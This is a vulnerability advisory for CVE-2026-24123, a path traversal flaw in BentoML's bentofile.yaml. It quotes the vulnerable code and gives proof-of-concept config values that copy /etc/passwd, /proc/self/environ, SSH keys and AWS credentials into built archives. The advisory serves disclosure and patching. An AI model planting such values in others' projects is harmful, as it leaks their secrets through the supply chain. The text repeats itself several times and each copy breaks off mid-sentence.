CVE-2026-24123

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:

def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
    _path = os.path.expanduser(os.path.expandvars(filepath))
    if not os.path.isabs(_path) and ctx:
        _path = os.path.expanduser(os.path.join(ctx, filepath))
    if os.path.exists(_path):
        return os.path.realpath(_path)  # No path containment check
    raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:

if build_config.description.startswith("file:"):
    file_name = build_config.description[5:].strip()
    if not ctx_path.joinpath(file_name).exists():
        raise InvalidArgument(f"File {file_name} does not exist.")
    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal

All four vulnerable fields:

• description: "file:../../../etc/passwd" → copied to README.md
• docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script
• docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template
• conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

| Format | description | setup_script | dockerfile_template | environment_yml | |--------|---------------|----------------|----------------------|-------------------| | Absolute paths (/etc/passwd) | Yes | Yes | Yes | Yes | | Tilde expansion (~/.ssh/id_rsa) | No | Yes | Yes | Yes | | Env vars ($HOME/.aws/credentials) | No | Yes | Yes | Yes | | Relative traversal (../../../etc/passwd) | Yes | Yes | Yes | Yes | | Proc filesystem (/proc/self/environ) | Yes | Yes | Yes | Yes |

The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).

PoC

1. Create a minimal service:

# service.py
import bentoml

@bentoml.service
class TestService:
    @bentoml.api
    def predict(self, text: str) -> str:
        return text

2. Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field

service: "service.py:TestService"
description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets)

service: "service.py:TestService"
description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "~/.ssh/id_rsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields…

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:

def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
    _path = os.path.expanduser(os.path.expandvars(filepath))
    if not os.path.isabs(_path) and ctx:
        _path = os.path.expanduser(os.path.join(ctx, filepath))
    if os.path.exists(_path):
        return os.path.realpath(_path)  # No path containment check
    raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:

if build_config.description.startswith("file:"):
    file_name = build_config.description[5:].strip()
    if not ctx_path.joinpath(file_name).exists():
        raise InvalidArgument(f"File {file_name} does not exist.")
    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal

All four vulnerable fields:

• description: "file:../../../etc/passwd" → copied to README.md
• docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script
• docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template
• conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

| Format | description | setup_script | dockerfile_template | environment_yml | |--------|---------------|----------------|----------------------|-------------------| | Absolute paths (/etc/passwd) | Yes | Yes | Yes | Yes | | Tilde expansion (~/.ssh/id_rsa) | No | Yes | Yes | Yes | | Env vars ($HOME/.aws/credentials) | No | Yes | Yes | Yes | | Relative traversal (../../../etc/passwd) | Yes | Yes | Yes | Yes | | Proc filesystem (/proc/self/environ) | Yes | Yes | Yes | Yes |

The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).

PoC

1. Create a minimal service:

# service.py
import bentoml

@bentoml.service
class TestService:
    @bentoml.api
    def predict(self, text: str) -> str:
        return text

2. Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field

service: "service.py:TestService"
description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets)

service: "service.py:TestService"
description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "~/.ssh/id_rsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields…

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:

def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
    _path = os.path.expanduser(os.path.expandvars(filepath))
    if not os.path.isabs(_path) and ctx:
        _path = os.path.expanduser(os.path.join(ctx, filepath))
    if os.path.exists(_path):
        return os.path.realpath(_path)  # No path containment check
    raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:

if build_config.description.startswith("file:"):
    file_name = build_config.description[5:].strip()
    if not ctx_path.joinpath(file_name).exists():
        raise InvalidArgument(f"File {file_name} does not exist.")
    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal

All four vulnerable fields:

• description: "file:../../../etc/passwd" → copied to README.md
• docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script
• docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template
• conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

| Format | description | setup_script | dockerfile_template | environment_yml | |--------|---------------|----------------|----------------------|-------------------| | Absolute paths (/etc/passwd) | Yes | Yes | Yes | Yes | | Tilde expansion (~/.ssh/id_rsa) | No | Yes | Yes | Yes | | Env vars ($HOME/.aws/credentials) | No | Yes | Yes | Yes | | Relative traversal (../../../etc/passwd) | Yes | Yes | Yes | Yes | | Proc filesystem (/proc/self/environ) | Yes | Yes | Yes | Yes |

The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).

PoC

1. Create a minimal service:

# service.py
import bentoml

@bentoml.service
class TestService:
    @bentoml.api
    def predict(self, text: str) -> str:
        return text

2. Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field

service: "service.py:TestService"
description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets)

service: "service.py:TestService"
description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "~/.ssh/id_rsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields…